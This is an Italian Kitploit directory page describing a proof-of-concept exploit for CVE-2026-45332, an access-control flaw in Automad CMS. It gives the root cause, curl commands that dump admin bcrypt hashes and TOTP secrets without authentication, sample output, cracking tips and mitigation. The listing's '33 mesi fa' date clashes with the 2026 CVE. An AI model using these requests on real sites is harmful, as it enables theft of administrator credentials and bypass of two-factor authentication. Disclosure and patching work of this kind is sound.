Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-45332-PoC — Exploit proof-of-concept per CVE-2026-45332, un controllo degli accessi non funzionante in Automad CMS che consente il dump non autenticato degli hash bcrypt dell'amministratore e dei segreti TOTP. | Kitploit
Strumenti/GitHubGitHub/lorenzocamilli/cve-2026-45332-poc
Attacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration TestingAutenticazioneRed Teaming

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHublorenzocamilli/cve-2026-45332-poc

CVE-2026-45332-PoC

Exploit proof-of-concept per CVE-2026-45332, un controllo degli accessi non funzionante in Automad CMS che consente il dump non autenticato degli hash bcrypt dell'amministratore e dei segreti TOTP.

Vedi Repository
33 mesi faNon ancora revisionato

CVE-2026-45332: Controllo di accesso non funzionante in Automad CMS

Proof of concept per CVE-2026-45332, una vulnerabilità di Controllo di accesso non funzionante in Automad CMS che consente a qualsiasi attaccante non autenticato di scaricare l'hash della password bcrypt e il segreto TOTP di ogni account amministratore tramite l'endpoint di configurazione, che non viene mai disabilitato dopo la configurazione iniziale.

FieldValue
CVECVE-2026-45332
GHSAGHSA-xm76-r88j-vm3g
ProductAutomad CMS (composer automad/automad)
Affected>= 2.0.0-alpha.1, <= 2.0.0-beta.27
Patched2.0.0-beta.28
CVSS 3.17.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWECWE-200 (Sensitive Information Exposure), CWE-306 (Missing Authentication for Critical Function)
ResearcherLorenzo Camilli

Riepilogo

Automad è un CMS PHP basato su file. L'endpoint di configurazione responsabile della creazione del primo account amministratore, /_api/user-collection/create-first-user, è registrato come una rotta API permanentemente pubblica. Non esiste alcuna protezione che lo disabiliti una volta completata la configurazione iniziale.

Su un'istanza live completamente configurata, una POST non autenticata a questo endpoint carica l'intero database utente dal disco e lo restituisce, serializzato, nel corpo della risposta JSON, includendo:

  • Hash delle password bcrypt per ogni account amministratore
  • Segreti TOTP (presenti in 2.0.0-beta.27)
  • Il percorso assoluto del filesystem per la directory di configurazione

Non è richiesto alcun account, credenziali o posizione di rete speciale.

Causa principale

La rotta è inserita nell'array $publicAPIRoutes in automad/src/server/Routes.php e registrata sotto la condizione AM_PAGE_DASHBOARD, una costante che vale la stringa '/dashboard' e quindi è sempre vera. La rotta rimane registrata su ogni installazione, anche dopo il completamento della configurazione.

root@kitploit:~
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
    $UserCollection = new UserCollection();   // loads ALL existing users from disk
    // ...
    $php = $UserCollection->generatePHP();    // serializes every user including hashes

    return $Response->setData(array(
        'php'       => $php,                  // credential hashes returned in response
        'configDir' => dirname(UserCollection::FILE_ACCOUNTS)  // absolute path leaked
    ));
}

User::__serialize() include i campi privati passwordHash e totpSecret, quindi finiscono incorporati nell'output serializzato restituito al chiamante.

Report tecnico completo: PoC.md.

Prova di concetto

L'endpoint richiede un token CSRF valido e un cookie di sessione Automad, entrambi ottenibili liberamente dalla pagina di login pubblica. Riproduzione:

root@kitploit:~
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
  | grep -oP '(?<=<meta name="csrf" content=")[^"]+')

# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
  --data-urlencode "__csrf__=$CSRF" \
  --data-urlencode 'username=dummy' \
  --data-urlencode 'password1=AnyPassword1!' \
  --data-urlencode 'password2=AnyPassword1!' \
  --data-urlencode '[email protected]' | jq .

La risposta contiene l'hash bcrypt e il segreto TOTP di ogni amministratore registrato più il percorso assoluto di configurazione:

root@kitploit:~
{
  "code": 200,
  "data": {
    "php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
    "filename": "accounts.php",
    "configDir": "/path/to/config"
  }
}

Gli hash bcrypt possono quindi essere craccati offline (Hashcat / John). Su 2.0.0-beta.27 il segreto TOTP divulgato aggira completamente l'autenticazione a due fattori.

Impatto

Un attaccante remoto non autenticato può:

  1. Recuperare l'hash bcrypt di ogni amministratore e craccarlo offline.
  2. Recuperare i segreti TOTP e aggirare la 2FA (2.0.0-beta.27).
  3. Ottenere il percorso assoluto del filesystem del server, facilitando ulteriori attacchi.

Mitigazione

Aggiornare ad Automad 2.0.0-beta.28 o successivo, che limita l'endpoint una volta completata la configurazione iniziale. Come mitigazione temporanea, bloccare le richieste a /_api/user-collection/create-first-user a livello di server web o WAF.

Riferimenti

  • CVE.org: CVE-2026-45332
  • GitHub Advisory: GHSA-xm76-r88j-vm3g
  • Automad CMS
  • Broken Access Control (OWASP)
Scarica lo strumento